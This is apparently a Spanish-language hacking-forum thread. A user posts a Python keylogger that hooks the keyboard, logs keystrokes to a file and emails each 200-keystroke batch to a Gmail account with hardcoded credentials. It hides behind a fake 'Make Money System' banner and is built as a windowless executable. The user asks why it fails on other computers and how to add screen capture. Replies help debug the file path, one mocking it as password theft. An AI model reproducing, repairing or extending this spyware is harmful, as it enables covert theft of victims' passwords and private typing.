# -*- coding: utf-8 -*-
import os, sys, logging
import pyHook, pythoncom
import time, datetime
import smtplib
import socket
#Creo el archivo
Fdir = 'C://ProgramData/task.txt'
if os.path.isfile(Fdir):
os.remove(Fdir)
print ('Make Money System - Spanish Version.')
print ('Todos los derechos reservados!')
else:
f = open(Fdir,"w")
f.close()
print('Make Money System - Spanish Version.')
print ('Todos los derechos reservados!')
#Defino variables y creo la funcion que registra
Klg = ""
Cont = 0
Send = ""
nombre_equipo = socket.gethostname()
def send_email(message):
try:
# Datos
fromaddr = '[email protected]'
toaddrs = '[email protected]'
username = '[email protected]'
password = '123456.Dalila'
# Enviando el correo
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, message)
server.quit()
print('Servicio Arrancado con exito, Ya se han enviado los logs!')
except:
print('Hubo algun error en la ejecucion')
send_email("Nuevo Dispotivo Conectado: ")
def PresionanAlgunaTecla(event):
global Cont
global Klg
global Send
if event.Ascii:
key = chr(event.Ascii)
Cont +=1
Klg += key
f1 = open(Fdir,"w")
f1.write(Klg)
f1.close()
if Cont == 200:
print('200')
#leer log y enviar por correo
typ = open(Fdir,"r")
log = typ.read()
typ.close()
print (log)
send_email(log)
#Mato y comienzo de nuevo
os.remove(Fdir)
Cont = 0
Klg = ""
# crea el objeto hook manager
hm = pyHook.HookManager()
hm.KeyDown = PresionanAlgunaTecla
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
Perfecto, este es mi codigo, si lo compilo con PyInstaller y lo ejecuto en mi pc funciona de maravilla, pero cuando lo pruebo en otra pc pues no funciona.
Creo el ejecutable con --noconsole --onefile
es un script basico pero potente, y estoy en ese problema.
Aprovecho para preguntar, algun modulo de python o alguna forma para capturar pantallas?
@AnderPoker07 (https://underc0de.org/foro/index.php?action=profile;u=87840)
En la linea 9 posiblemente es que en otras maquinas no exista ese archivo o la ruta donde se encuentre, pero no puedo estar seguro completamente hasta que vea una captura de pantalla.
Buenas:
como te dice @AnderPoker07 (https://underc0de.org/foro/index.php?action=profile;u=87840) ese puede ser un error aparte que esa doble barra de la línea 9 deberías revisarla y probar a dejarla solo en una por si fuera el error.
Un saludo.
A que le llamas potente? A robar claves? PFffff xD
Bueno para no desvirtuar, deberías hacer caso a lo que te dicen más arriba porque a simple viste no esta creada la carpeta donde guardas lo que guarda el potente script, o bien creas la carpeta o identificas en donde esta el directorio temporal y guardas ahi lo que vayas a loggear.
LOL
¿Potente? Si esa es tu definición de código potente.....
En todo caso, en la línea 9, se ve claramente el error, y es básico...
De hecho, en tu código existen 2 errores que impiden el funcionamiento del mismo,
repásatelo unas cuántas veces y, si te das cuenta, intenta solucionarlos, son básicos